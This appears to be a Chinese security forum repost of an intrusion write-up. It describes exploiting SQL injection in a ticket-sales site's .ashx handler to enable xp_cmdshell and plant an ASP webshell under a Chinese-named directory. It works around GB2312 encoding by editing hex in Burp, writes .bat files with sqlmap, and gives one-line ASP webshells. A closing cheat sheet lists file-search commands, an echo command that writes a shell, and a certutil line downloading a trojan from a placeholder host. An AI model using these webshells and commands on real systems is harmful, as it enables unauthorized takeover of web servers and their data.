安全矩阵

 找回密码
 立即注册
搜索
查看: 2550|回复: 0

SQLserver写Webshell总结-突破中文路径

[复制链接]

855

主题

862

帖子

2940

积分

金牌会员

Rank: 6Rank: 6

积分
2940
发表于 2021-10-21 15:11:52 | 显示全部楼层 |阅读模式
原文链接:SQLserver写Webshell总结-突破中文路径

背景
目标站:

发现授权文件,刷新抓包得到一处ajax请求指向了TicketsSellMainHandler.ashx文件


存在注入

开始踩坑 本来打算通过注入开启XP_cmdshell提权拿到源码 进一步进行审计 通过dir命令得到该站绝对路径

发现是中文绝对路径,这个时候在不考虑powershell上线的方式用echo进行写马已经行不通了 mssql调用cmd默认是gb2312编码,使用sqlmap进行echo写马其编码是UTF-8

powershell上线 尝试powershell上线,发现该服务器存在360,上线失败,暂不考虑bypass

使用BAT文件写shell 尝试使用sqlmap自带的命令--file-write写bat文件getshell 这里知道了mssql调用cmd的编码是gb2312 所以本地的bat文件编码也要是gb2312

将本地1.bat文件利用windows的certutil文件写到对方D盘的1c.bat

type看看中文是否乱码

没有乱码,但是在接下来运行bat文件中又踩坑了== 多次测试都发现asp的木马中 % 文件跟bat不兼容 在本机中测试 发现木马被写成了这个样==

期间尝试过没有%的木马
<SCRIPT language=VBScript runat="server">execute request(“MH”)</SCRIPT> 但是由于该机器的配置原因都失败 遂放弃
手工写shell 将sqlmap代理到burp 抓echo写马的数据包

将这段hex通过UTF-8解码

没有乱码,同理,如果通过GB2312解码一定会乱码,mssql调用cmd使用的便是GB2312编码 将echo xxx 通过GB2313 hex编码

对比之前UTF-8和GB2313编码的不同

将burp中原来UTF-8编码的hex改为GB2313编码的hex 然后Forward

这次没有提示找不到路径 访问该shell写入成功
certutil下载上线


与sqlmap --file-write 同理,使用certutil.exe远程下载木马到对方D盘 然后start运行即可
总结
查找文件
1、dir/s/b d:\1.txt
2、for /r "D:" %i in (*.ashx) do echo %i
3、%windir%\system32\inetsrv\appcmd list VDIR
写shell
1、powershell上线
2、echo <%eval request("z")%> > d:\测试版本\z.asp
3、写bat文件,bat编码需要更改为gb2312简体中文。--file-write c:\users\xiu\desktop\1.bat -file-dest d:\1c.bat
4、certutil.exe -urlcache -split -f http://xxxx.com/1.asp D:\1.txt 远程下载shell、木马
推荐实操:MSSQL注入提权
PC端实操地址:http://mrw.so/5CC6KG


回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

小黑屋|安全矩阵

GMT+8, 2025-4-22 20:19 , Processed in 0.016571 second(s), 18 queries .

Powered by Discuz! X4.0

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表